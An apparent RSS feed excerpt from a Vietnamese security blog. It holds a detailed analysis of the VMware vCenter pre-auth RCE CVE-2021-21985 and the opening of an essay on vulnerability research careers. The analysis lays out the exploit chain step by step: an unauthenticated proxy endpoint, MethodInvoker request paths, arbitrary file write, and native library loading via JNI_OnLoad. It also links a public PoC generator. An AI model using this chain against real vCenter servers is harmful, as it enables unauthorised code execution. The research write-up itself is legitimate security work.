]]></content:encoded></item><item><title><![CDATA[A Quick Look at CVE-2021–21985 VCenter Pre-Auth RCE]]></title><description><![CDATA[Mấy ngày gần đây thặc là những ngày tháng nặng nề đối với mình,
Khi mà trong vòng nửa tháng mà có tới 5–6 cái critical patch liền … Diff patch đến tr4m c4m cmnl,


Vào buổi sáng ngày 25/5, Vmware release bản vá, trong số các bug được vá lần này có 1 ...]]></description><link>https://testanull.com/a-quick-look-at-cve-2021-21985-vcenter-pre-auth-rce-9ecd459150a5</link><guid isPermaLink="true">https://testanull.com/a-quick-look-at-cve-2021-21985-vcenter-pre-auth-rce-9ecd459150a5</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Sat, 05 Jun 2021 11:09:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242932741/amreMmuWN.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Mấy ngày gần đây thặc là những ngày tháng nặng nề đối với mình,</p>
<p>Khi mà trong vòng nửa tháng mà có tới 5–6 cái critical patch liền … Diff patch đến tr4m c4m cmnl,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242846448/ZiIvj-TiH.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242848174/8KvriXR2g.png" alt /></p>
<p>Vào buổi sáng ngày 25/5, Vmware release bản vá, trong số các bug được vá lần này có 1 lỗ hổng Critical với CVSS lên tới 9.8.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242849604/I4Rr1o7ZC.png" alt /></p>
<p>Một lỗ hổng mà được gán số tới 9.8/10 thì đồng nghĩa nó là 1 lỗ hổng Pre-Auth RCE, có thể xiên server trong vòng 1 nốt nhạc mà ko cần phải chờ ạt min login vào hay gì cả. Hiểu được tầm quan trọng như vậy, có lẽ không chỉ mình mà nhiều bên khác cũng cắm đầu vào đi mổ xẻ patch và tìm kiếm PoC cho nó.</p>
<p>Cuối cùng, thật đáng buồn thay mình lại ko phải là người tìm ra nó đầu tiên, một anh chàng người tàu nào đó đã tìm ra trước và public nó. Mình chỉ là người đi sau cải thiện độ tiện lợi và ổn định của PoC này thôi!</p>
<p><em>PoC đầu tiên được đăng tại: <a target="_blank" href="https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/">https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/</a></em></p>
<p>Trong quá trình cải thiện độ ổn định của nó, có một số thứ hay ho nên mình quyết định vẫn sẽ viết bài này để chia sẻ cũng như note lại các thông tin!</p>
<p>.</p>
<p>.</p>
<p>Đầu tiên là một số note của quá trình setup máy ảo lên VMware Workstation!</p>
<p>VCSA hoàn toàn có thể cài độc lập lên vmware workstation mà không cần esxi gì cả, chỉ có một lưu ý tối quan trọng: trong quá trình setup, tuyệt đối không thay đổi mật khẩu mặc định của user root (vmware), mình không biết tại sao nhưng cứ thay đổi mật khẩu này sang mật khẩu khác thì quá trình setup sẽ bị lỗi ở đâu đó mà không rõ nguyên nhân, để yên đó thì lại setup ngon lành mà ko gặp lỗi lầm gì ¯_(ツ)_/¯.</p>
<p>Ở đâu đó mình đã nghe câu:</p>
<p>“<em>Discovery requires experimentation!</em>”</p>
<p>Để khám phá rõ hơn về bug này thì cần phải debug, mổ xẻ ra mới được.</p>
<p>Mặc dù cũng chạy tomcat, nhưng vsphere-ui lại được khởi chạy thông qua 1 service riêng của VCSA, cần phải chỉnh sửa theo cách riêng để có thể debug!</p>
<p>Trên môi trường linux, file “<em>/etc/vmware/vmware-vmon/svcCfgfiles/vsphere-ui.json”</em> chứa config khởi chạy của vsphere-ui, bao gồm cả các biến môi trường:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242851112/-pMoxhoWe.png" alt /></p>
<p>Uncomment các dòng sau để enable debug mode:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242852634/6Fb3i4X1e.png" alt /></p>
<p>Sau đó restart service vsphere-ui bằng cách gọi lệnh:</p>
<pre><code>service-control <span class="hljs-comment">--restart vsphere-ui</span>
</code></pre><p>Lúc này port debug của service đã được mở, nhưng do config của firewall đã chặn nên chưa thể truy cập từ ngoài vào được:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242854114/kHSjeOyc3.png" alt /></p>
<p>Config lại firewall cho phép ACCEPT tất cả các gói với lệnh sau:</p>
<pre><code>iptables -P <span class="hljs-keyword">INPUT</span> ACCEPT
</code></pre><p><strong>#Diff Patch</strong></p>
<p>Phiên bản mình cài đặt để làm lab là VCSA 7.0.2.0, đem diff với VCSA 7.0.2.00100 thì có một số điểm khác biệt như sau:</p>
<p>Authentication Filter đã được thêm vào cho entrypoint “<em>/rest/*</em>”</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242855617/6G39QaTx7.png" alt /></p>
<p>Tại class <em>com.vmware.vsan.client.services.ProxygenController</em>, thêm một đoạn code mới để kiểm tra sự hiện diện của Annotation @TsService trong method sẽ được invoke:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242857247/vyniCv3Gd.png" alt /></p>
<p>Các method đó có dạng như này nè:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242858805/CiyZlY5Wj1.png" alt /></p>
<p>Quên chưa nói về cái <em>ProxygenController</em>, class này làm nhiệm vụ handler tất cả các request đi tới entrypoint “<em>/ui/h5-vsan/rest/proxy/*</em>”</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242860389/l7Hi52uOJ.png" alt /></p>
<p>Sau đó beanClass, method của bean class này được lấy từ url path, cùng với methodInput được lấy từ json body của request rồi đưa vào method <em>invokeService() </em>để xử lý tiếp:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242861918/eVC6O9Mn9.png" alt /></p>
<p>beanClass sau khi được lấy từ url sẽ được kiểm tra sự tồn tại dựa vào một beanMap đã được định sẵn, nếu không tồn tại trong map này sẽ bị đẩy ra exception luôn:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242863559/ECEuwBQ3t.png" alt /></p>
<p>Các bean này được định nghĩa trong các file .xml của bundle, cụ thể hơn ở đây là trong file “<em>h5-vsan-service.jar/META-INF/spring/base/</em>.xml*”:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242865394/NF4yQvHdU.png" alt /></p>
<p>Cách define có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242866808/UONterOdY.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242868304/e9sKzAQya.png" alt /></p>
<p>Tương ứng với cách xử lý của ProxygenController phía trên, ta có thể truy cập tới bean này với url như sau:</p>
<ul>
<li><em>/ui/h5-vsan/rest/proxy/service/<strong>&amp;</strong>vsanQueryUtil_setDataService/&lt;method&gt;</em></li>
</ul>
<p>Dựa theo cách vá từ vmware, là thêm cơ chế filter cho entrypoint “<em>/rest/*</em>” mình có thể dám chắc là đã có vấn đề gì đó với một trong những bean đã được define, khiến cho nó bị lợi dụng và gây ra vụ RCE này.</p>
<p>Tuy nhiên sau khi export được tất cả các bean có trong entrypoint này thì mình cũng hơi nản 1 chút, có tới 177 class, mỗi class cũng có tầm 10 method, tính cả các method được implement từ class cha nữa thì có tầm 30 method/class =&gt; 177*30 = 5310 trường hợp (╯°□°）╯︵ ┻━┻.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242869802/a4MlEaE0p.png" alt /></p>
<p>Mình đã có gắng bới móc trong vô vọng nhưng không đem lại kết quả gì.</p>
<p>Sau gần một tuần ko ra kết quả gì, mình đành bỏ đó và đi phân tích 1 patch khác cho kịp công việc, …</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242871641/2EcqI-27_.png" alt="*this’s what i actually do at that time … 🤣" /><em>*this’s what i actually do at that time … 🤣</em></p>
<p>.</p>
<p>.</p>
<p>Loanh quanh một hồi, vài ngày sau thì một mẫu PoC được public trên blog của anh người tàu khựa, tuy nhiên cũng cần có outbound để gửi 1 request RMI ra ngoài, PoC có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242873732/T5SF_Q0QS.png" alt /></p>
<p>Mình nhanh chóng nhận ra điểm sai sót mà mình đã bỏ qua: đó là chỉ check các bean class mà không check các bean name nữa 😢.</p>
<p>Tìm trong phiên bản 7.0.2 mình đang làm thì không tồn tại bean “<em>vsanProviderUtils_setVmodlHelper </em>” như trong PoC, sau khi kiểm tra lại thì thấy bean này tồn tại trên các phiên bản &lt;6.7:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242875145/bQnkR_4uu.png" alt /></p>
<p>Vì trên phiên bản 7.0.2 không có bean này, nên mình sử dụng 1 bean khác được define tương tự để thay thế “<em>vsanQueryUtil_setDataService</em>”:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242876680/SdXgdBoG0.png" alt /></p>
<p>Còn class xử lý bean này đó chính là <em>MethodInvokingFactoryBean</em>, class này có chứa các method để set và gián tiếp invoke một method khác!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242878337/ANlt51Mi2.png" alt /></p>
<p>Mô hình kế thừa của class này có dạng sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242880212/U9jBHI-SV.png" alt /></p>
<p>Do đó, từ phía bean bị control, chúng ta hoàn toàn có thể gọi được các method của các class cha mà nó thừa kế: <em>MethodInvokingBean</em>-&gt;<em>ArgumentConvertingMethodInvoker</em>-&gt;<em>MethodInvoker.</em></p>
<p>Quay trở lại với PoC của anh người tàu, ta thấy lần lượt các request như sau được gửi đi:</p>
<pre><code><span class="hljs-bullet">-</span> POST /ui/h5-vsan/rest/proxy/service/&amp;vsanProviderUtils<span class="hljs-emphasis">_setVmodlHelper/<span class="hljs-strong">**setTargetObject**</span>
- POST /ui/h5-vsan/rest/proxy/service/&amp;vsanProviderUtils_</span>setVmodlHelper/<span class="hljs-strong">**setStaticMethod**</span>
<span class="hljs-bullet">-</span> POST /ui/h5-vsan/rest/proxy/service/&amp;vsanProviderUtils<span class="hljs-emphasis">_setVmodlHelper/<span class="hljs-strong">**setArguments**</span>
- POST /ui/h5-vsan/rest/proxy/service/&amp;vsanProviderUtils_</span>setVmodlHelper/<span class="hljs-strong">**prepare**</span>
<span class="hljs-bullet">-</span> POST /ui/h5-vsan/rest/proxy/service/&amp;vsanProviderUtils<span class="hljs-emphasis">_setVmodlHelper/<span class="hljs-strong">**invoke**</span></span>
</code></pre><p>Nó tương ứng với việc gọi các method sau của class <em>MethodInvoker</em>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242882132/aRKQZU2Ld.png" alt /></p>
<p>Tham số truyền vào rất đơn giản, đa số đều là dạng String đơn thuần nên không có có khó khăn gì trong quá trình parse dữ liệu bởi <em>ProxygenController.</em></p>
<p>Tại method <em>MethodInvoker.</em>prepare(), biến <em>staticMethod</em> đã set trước đó được xử lý để set giá trị cho <em>targetClass </em>và <em>targetMethod</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242883760/6vfzD4Sng.png" alt /></p>
<p>Để thỏa mãn đoạn code trên thì <em>staticMethod </em>có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242885411/87YzAT0ff.png" alt /></p>
<p>Tuy nhiên ở đây cũng cần lưu ý 1 chút, <em>targetClass</em> không hẳn là dễ dàng trong việc lựa chọn, nó bị limit bởi <em>beanClassLoader</em>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242886982/AkQFEKibS.png" alt /></p>
<p>Do đó mà việc lựa chọn ra 1 staticMethod để lợi dụng cũng thêm khó khăn hơn, ví dụ như method <em>org.springframework.util.SerializationUtils.deserialize() </em>có thể được dùng để deserialize data, nhưng vì bị hạn chế nên không thể được load tại đây:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242888593/ay-WWKXy9.png" alt /></p>
<p>Sau khi <em>prepare()</em> thì bước cuối cùng chỉ cần gọi <em>invoke()</em> và method sẽ được setAccessible để đảm bảo có thể invoke cả private method và invoke luôn sau đó:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242890177/YqxAqyJLV.png" alt /></p>
<p>Đó là flow trigger RCE của bug này,</p>
<p>Tuy nhiên như đã đề cập từ đầu, PoC này sử dụng javax.naming.InitialContext.<em>doLookup()</em>, evilRMI các thứ rồi mới RCE được.</p>
<p>Trong thực tế thì các server VCenter này đều nằm trong mạng nội bộ và bị hạn chế kết nối internet đến mức tối đa, gần như không có đường nào khác đi ra ngoài, ngay cả DNS cũng chặn.</p>
<p>Mình bắt đầu lọc ra các package nằm trong <em>beanClassLoader</em> và thử tìm một vài method mới cho phép RCE 1 hit, không cần phải kết nối đi đâu cả.</p>
<p>Một số mục tiêu mà mình nhắm đến:</p>
<ul>
<li><p>static method cho phép deserialize string hoặc data</p>
</li>
<li><p>static method cho phép thực thi lệnh hoặc inject lệnh</p>
</li>
<li><p>static method cho phép ghi file</p>
</li>
</ul>
<p><strong>*Attempt 1</strong></p>
<p>Trong đó mình đã tìm được 1 method cho phép deserialize dữ liệu mà chỉ yêu cầu truyền vào 1 mảng byte org.apache.catalina.tribes.io.XByteBuffer.<em>deserialize</em>():</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242891735/KSHNNfH_M.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242893353/Xi58j49bS.png" alt /></p>
<p>Yeah, tuy nhiên mình đã quên mất một điều quan trọng: hiện tại mình đang trong context bị limit library, làm méo gì có gadget để trigger RCE chứ</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242894957/dtMmkz3VN.plain" alt /></p>
<p>Vậy là trường hợp deserialize -&gt; RCE không khả thi lắm</p>
<p><strong>*Attempt 2</strong></p>
<p>Lần này mình tìm được 1 method cho phép ghi file vào vị trí tùy ý: jdk.jfr.internal.Utils.<em>writeGeneratedASM()</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242896358/-wRYhCCUY.png" alt /></p>
<p>Nếu property “<em>SAVE_GENERATED” </em>được set thành true, method sẽ đi vào nhánh ghi file.</p>
<p>Việc này hoàn toàn có thể xử lý đơn giản bằng cách invoke java.lang.System.<em>setProperty()</em>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242897966/SFlraNlnR.png" alt /></p>
<p>Tuy nhiên cũng cần lưu ý, <em>SAVE_GENERATED</em> chỉ được set giá trị khi giá trị ban đầu của nó là null, do vậy bắt buộc phải có request setProperty() trước khi gửi request writeFile(). Nếu không thì những việc làm sau đó sẽ đều là vô tác dụng, vì không có cách nào set lại giá trị <em>SAVE_GENERATED </em>này nữa ngoại trừ restart service!</p>
<p>Đã xác định được method và set, nhưng có 1 vấn đề tiếp theo cần xử lý đó là truyền arg làm sao? Method này cần 1 tham số string và 1 tham số dạng mảng byte[].</p>
<p>Tại ProxygenController, dữ liệu sau khi được lấy từ param methodInput sẽ được gọi tới ProxygenSerializer.<em>deserializeMethodInput()</em> để xử lý, mặc dù có tên là deserialize nhưng hoàn toàn không liên quan tới json deser hay java deser gì đâu nha:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242899478/PDM1hGI3_.png" alt /></p>
<p>Input data được deserialize dựa theo kiểu của các đối số mà method này sắp được gọi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242901029/q3rW-W2V-.png" alt /></p>
<p>Các tham số để đưa vào invoke bởi <em>MethodInvoker </em>được set bằng method <em>setArguments(),</em> method này có thông tin đối số là 1 mảng Object[] như sau<em>:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242902551/j7SqEuMuE.png" alt /></p>
<p>Do vậy mà tất cả các tham số truyền vào đều được “treat-as-Object”, cho dù nó có là String, … hay gì đi chăng nữa.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242904205/vmTtw7QVD.png" alt /></p>
<p>Như vậy làm sao truyền được mảng byte[] ??? ¯_(ツ)_/¯</p>
<p>!TypeConverter for the rescue</p>
<p>Do không biết làm sao để truyền vào mảng byte[] nên mình quyết định thử truyền bừa vào 1 chuỗi để thay thế:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242905857/wTybV2NBp.png" alt /></p>
<p>Đương nhiên là đoạn này sẽ không xảy ra lỗi rồi, cần phải gửi tiếp request prepare() thì chương trình mới xử lý cái arg này cơ! Đặt breakpoint tại đầu method prepare() ta có thể thấy giá trị của 2 arg cần truyền vào đang là 2 chuỗi như này:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242907466/tw40h9ybW.png" alt /></p>
<p>MethodInvoker.prepare() tiếp tục xử lý, thực hiện gọi getMethod() với argTypes chính là kiểu của 2 tham số mình truyền vào</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242909339/Ln_wMOCv6.png" alt /></p>
<p>Và do lúc này argTypes chưa đúng nên chương trình sẽ xảy ra exception và đi vào nhánh dưới:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242910830/mtkcgW5z_.png" alt /></p>
<p>Lúc này từ MethodInvoker.<em>prepare</em>() sẽ gọi tới ArgumentConvertingMethodInvoker.<em>findMatchingMethod() </em>để tìm kiếm method phù hợp</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242912305/S_VqGO8U_.png" alt /></p>
<p>Nhưng vẫn null, tiếp tục gọi tới ArgumentConvertingMethodInvoker.<em>doFindMatchingMethod()</em>, method này có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242913902/1ZqNnLGs2.png" alt /></p>
<p>Method này tiếp tục xử lý và gọi tới TypeConverter.<em>convertIfNecessary() </em>để thực hiện convert argument sang kiểu dữ liệu mong muốn mà method đích đang yêu cầu.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242915557/k-xBee0cz.png" alt /></p>
<p>Tiếp tục debug sâu hơn, và dừng tại điểm có Stacktrace như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242917240/AukoRJomP.png" alt /></p>
<p>Biến “<em>editor</em>” có kiểu dữ <em>PropertyEditor</em>, được lấy dựa trên giá trị requiredType — chính là giá trị mà method argument đang yêu cầu, và may thay ở đây PropertyEditor tương ứng của mảng byte[] lại tồn tại, đó là <em>ByteArrayPropertyEditor</em>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242918908/f3AwOHU8f.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242920677/lfx4xy77x.png" alt /></p>
<p>Sau khi qua công đoạn được xử lý bằng ByteArrayPropertyEditor, giá trị mới của argument được chuyển thành như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242922063/UxrbVUTP1.png" alt /></p>
<p>Như vậy là đã giải quyết được vấn đề làm sao để truyền được kiểu byte ròi nhé</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242923557/1BLPpgyrE.png" alt /></p>
<p>Btw, đây là danh sách một số kiểu dữ liệu có thể được xử lý bởi TypeConvert:</p>
<pre><code><span class="hljs-type">boolean</span>, byte, <span class="hljs-type">char</span>, <span class="hljs-keyword">class</span> [B, <span class="hljs-keyword">class</span> [C, <span class="hljs-keyword">class</span> [I, <span class="hljs-keyword">class</span> [J, <span class="hljs-keyword">class</span> [Ljava.lang.<span class="hljs-keyword">Class</span>;, <span class="hljs-keyword">class</span> [Ljava.lang.String;, <span class="hljs-keyword">class</span> [Lorg.springframework.core.io.Resource;, <span class="hljs-keyword">class</span> [S, <span class="hljs-keyword">class</span> java.io.File, <span class="hljs-keyword">class</span> java.io.InputStream, <span class="hljs-keyword">class</span> java.io.Reader, <span class="hljs-keyword">class</span> java.lang.Boolean, <span class="hljs-keyword">class</span> java.lang.Byte, <span class="hljs-keyword">class</span> java.lang.Character, <span class="hljs-keyword">class</span> java.lang.<span class="hljs-keyword">Class</span>, <span class="hljs-keyword">class</span> java.lang.Double, <span class="hljs-keyword">class</span> java.lang.Float, <span class="hljs-keyword">class</span> java.lang.Integer, <span class="hljs-keyword">class</span> java.lang.Long, <span class="hljs-keyword">class</span> java.lang.Short, <span class="hljs-keyword">class</span> java.math.BigDecimal, <span class="hljs-keyword">class</span> java.math.BigInteger, <span class="hljs-keyword">class</span> java.net.URI, <span class="hljs-keyword">class</span> java.net.URL, <span class="hljs-keyword">class</span> java.nio.charset.Charset, <span class="hljs-keyword">class</span> java.time.ZoneId, <span class="hljs-keyword">class</span> java.util.Currency, <span class="hljs-keyword">class</span> java.util.Locale, <span class="hljs-keyword">class</span> java.util.Properties, <span class="hljs-keyword">class</span> java.util.regex.Pattern, <span class="hljs-keyword">class</span> java.util.TimeZone, <span class="hljs-keyword">class</span> java.util.UUID, <span class="hljs-keyword">class</span> org.xml.sax.InputSource, <span class="hljs-type">double</span>, <span class="hljs-type">float</span>, <span class="hljs-type">int</span>, interface java.nio.file.Path, interface java.util.Collection, interface java.util.List, interface java.util.<span class="hljs-keyword">Set</span>, interface java.util.SortedMap, interface java.util.SortedSet, long, short
</code></pre><p>Xử lý argument xong xuôi, việc tiếp theo cần làm đơn giản chỉ cần invoke thôi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242925062/g3znrn3BJ.png" alt /></p>
<p>Và được kết quả như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242926597/ee4JMGx4w.png" alt /></p>
<p>File thì ghi xong rồi, nhưng rồi làm gì tiếp đây??</p>
<p>Về vấn đề đuôi .class của tên file hoàn toàn có thể xử lý được, mình tìm ra một method có thể cho phép copy file với vị trí và tên tùy ý: org.apache.catalina.manager.ManagerServlet.<em>copyInternal()</em></p>
<p>Tuy nhiên trên môi trường này không thể ghi shell và thực thi như môi trường windows được, cần phải có một cách nào đó khác nữa mới có thể RCE.</p>
<p>Sau khi xem xét lại mình có phát hiện ra method System.load(), mà theo description, method này cho phép load Native library vào JVM.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242928042/A_gApdAGc.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242929483/Us-O3amZ1.png" alt /></p>
<p>Giống với việc load DLL của windows, JNI của java cũng có function <em>JNI_OnLoad() </em>được gọi khi load nó lên. Như vậy thì mọi chuyện đã rõ, dựa vào cơ chế OnLoad này của JNI, mình có thể RCE được bằng cách inject code vào để thực thi.</p>
<p>Việc code cái native library này cũng không khó lắm, sau 1 đêm mày mò mình đã viết xong 1 cái lib để load lên và thành công trong việc RCE, content đơn giản như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242931043/ShVfTm6Jb.png" alt /></p>
<ul>
<li>thực ra là do mình ngu đần code C nên phải gọi ngược về Java để exec code đó (ಥ _ ಥ)</li>
</ul>
<p>Như vậy đã đạt được mục đích là RCE in one hit, nhưng vấn đề còn tồn tại là làm sao để execute command và lấy kết quả ngay tại http response, mình vẫn đang nghiên cứu thêm!</p>
<p>Tóm lược lại bug này như sau:</p>
<ul>
<li><p>unauthenticated /rest enpoint</p>
</li>
<li><p>tồn tại bean MethodInvoker cho phép invoke static method tùy ý</p>
</li>
<li><p>TypeConverter tự động convert dữ liệu sang dạng phù hợp</p>
</li>
<li><p>JNI_OnLoad trigger code execution</p>
</li>
</ul>
<p>Sau quá trình phân tích và viết PoC mình học hỏi được khá nhiều thứ bên lề, do nội dung của bài viết có hạn nên có thể sẽ có nhiều thiếu sót.</p>
<p>Mặc dù bài viết đã có full ảnh để đem lại cho người đọc cảm giác “đọc như debug”, nhưng mình vẫn khuyên nên setup và tự debug để nhận biết thực tế theo quan điểm của chính mình thay vì thu lu trong cái bài viết có phần phiến diện của mình!</p>
<p>Btw, do gần đây có một số bạn ý kiến không vui về việc public PoC của mình, nên là mình quyết định sẽ … public nguyên cái bộ gen ra PoC luôn =))).</p>
<p>PoC video: <a target="_blank" href="https://www.youtube.com/watch?v=Cxuut3uWeUA">https://www.youtube.com/watch?v=Cxuut3uWeUA</a></p>
<p>PoC generator: <a target="_blank" href="https://github.com/testanull/Project_CVE-2021-21985_PoC">https://github.com/testanull/Project_CVE-2021-21985_PoC</a></p>
<p>Cảm ơn các bạn đã theo dõi,</p>
<p><strong>Jang</strong></p>
]]></content:encoded></item><item><title><![CDATA[Làm ATTT là làm gì? (“0day hunter” — Vulnerability Research)]]></title><description><![CDATA[Mới đó mà cũng đã 2 tháng kể từ bài đầu tiên của series này, ngày hôm qua mình xem lại thống kê bài viết mới nhớ ra là vẫn còn nợ mấy phần sau của series. Thực ra mình cũng muốn tiếp tục series này lâu ròi, nhưng cứ đặt tay vào viết thì hết M$ ròi tớ...]]></description><link>https://testanull.com/lam-attt-la-lam-gi-0day-hunter-vulnerability-research-ce553f9c78c</link><guid isPermaLink="true">https://testanull.com/lam-attt-la-lam-gi-0day-hunter-vulnerability-research-ce553f9c78c</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Sun, 30 May 2021 03:54:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242836647/y1-Gv7o53.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Mới đó mà cũng đã 2 tháng kể từ bài đầu tiên của series này, ngày hôm qua mình xem lại thống kê bài viết mới nhớ ra là vẫn còn nợ mấy phần sau của series. Thực ra mình cũng muốn tiếp tục series này lâu ròi, nhưng cứ đặt tay vào viết thì hết M$ ròi tới Oracle lại ra patch, nên là mới bị delay tới bây giờ đây.</p>
<p>Như đã biết ở phần trước, mình có nói về 1 mảng nhỏ của ATTT, Kiểm thử xâm nhập — Penentration Testing, cũng như các yêu cầu đặc thù của nghề này. Trong đó mình cũng có đề cập tới một nhóm Reseacher nhỏ, đóng vai trò hỗ trợ, cung cấp các công cụ, mã khai thác cho pentester.</p>
<p>Hiện nay những người làm công việc này được gọi với nhiều cách gọi khác nhau, người thì gọi là Bug Hunting, người thì gọi là Security Researching, hay có một số gọi là nghề đục lỗ (Exploitation), vv…</p>
<p>Nhưng chung quy lại, đều là đi vào tìm kiếm lỗ hổng trên một đối tượng nào đó, tùy từng đối tượng khác nhau mà có thể cách gọi cũng khác theo.</p>
<p>Với tên gọi Security Researcher nó rất là rộng, và thường là được dùng để gọi chung những người làm về mảng <strong>nghiên cứu</strong> của ATTT, không riêng gì những người làm nghề đục lỗ! ¯_(ツ)_/¯</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242823590/zncWGDetJ.png" alt /></p>
<p>Bởi vì bên cạnh mảng đục lỗ, cũng có mảng nữa là nghiên cứu về các giải pháp ATTT, xây dựng các công cụ (xây dựng ko có nghĩa là tự code) hay hệ thống để phòng thủ (theo thiên hướng defense). Họ cũng phải bỏ ra nhiều chất xám ra để học hỏi và tìm ra những điều cốt lõi của điểm yếu và đưa ra cách để phòng thủ.</p>
<p>Hay cũng có những người, tổ chức, họ nghiên cứu và phát minh ra một cái sáng kiến gì đó mới mẻ trong Security, giúp cải tiến bảo mật cho những cái đang có, … Cũng được gọi với cái tên là Security Researcher …</p>
<p>Có nhiều mảng nữa cũng được gọi với cái tên Security Researcher này, nhưng do ko phải chủ đề chính của bài viết nên mình xin phép được kể một vài ví dụ như vậy.</p>
<p>Mục tiêu của bài này là nói đích danh về mảng “<em>Tìm kiếm lỗ hổng phần mềm — Vulnerability Research</em>” (tạm thời gọi là N-day hunter đi).</p>
<p>Cái tên N-day hunter mình tạm gọi vậy bởi vì công việc của những người làm nghề này là đi tìm kiếm những sai sót, lỗ hổng trong thiết kế của một đối tượng nào đó, và lợi dụng nó làm cho đối tượng hoạt động theo hướng ngoài ý muốn (<em>unintended nhưng ko biết dịch làm sao cho đúng</em>). Đối tượng ở đây có thể là một chương trình, một website hay một thuật toán, kiến trúc nào đó,</p>
<p>Trước đó, định nghĩa Exploitation thường được mặc định hiểu là những người làm về Binary Exploitation … Ngay cả tại thời điểm hiện tại, giáo trình của một số bộ môn về lỗ hổng phần mềm/secure coding ở KMA cũng chỉ định nghĩa và dạy về Binary Exploitation.</p>
<p>Trong khi thực tế đã khác rất nhiều, lỗ hổng phần mềm đã và đang xuất hiện ở nhiều nền tảng lập trình khác nhau: PHP, Java, .NET, … Exploitation không đơn thuần chỉ là các bug của binary nữa, nó nên được hiểu theo nghĩa rộng hơn.</p>
<p>Hiện nay, việc tìm kiếm lỗ hổng phần mềm thường được chia ra theo 2 hướng chính như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242825004/8LcmLYbnI.png" alt /></p>
<ul>
<li><p><strong>Binary Exploit</strong> (hay còn đc gọi là pwn): Nghiên cứu về những lỗ hổng trên Binary như Buffer Overflow, Format String, Integer Overflow, Use-After-Free … Mặc dù những lỗ hổng này đã tồn tại từ những năm 70s của thế kỷ trước, nhưng đến tận bây giờ nó vẫn tồn tại, dù đã có nhiều biện pháp giảm thiểu. Thực tế thì mình ko làm về mảng này nên cũng ko có nhiều kiến thức để chia sẻ, có thể một ngày nào đó sẽ có người làm việc này!</p>
</li>
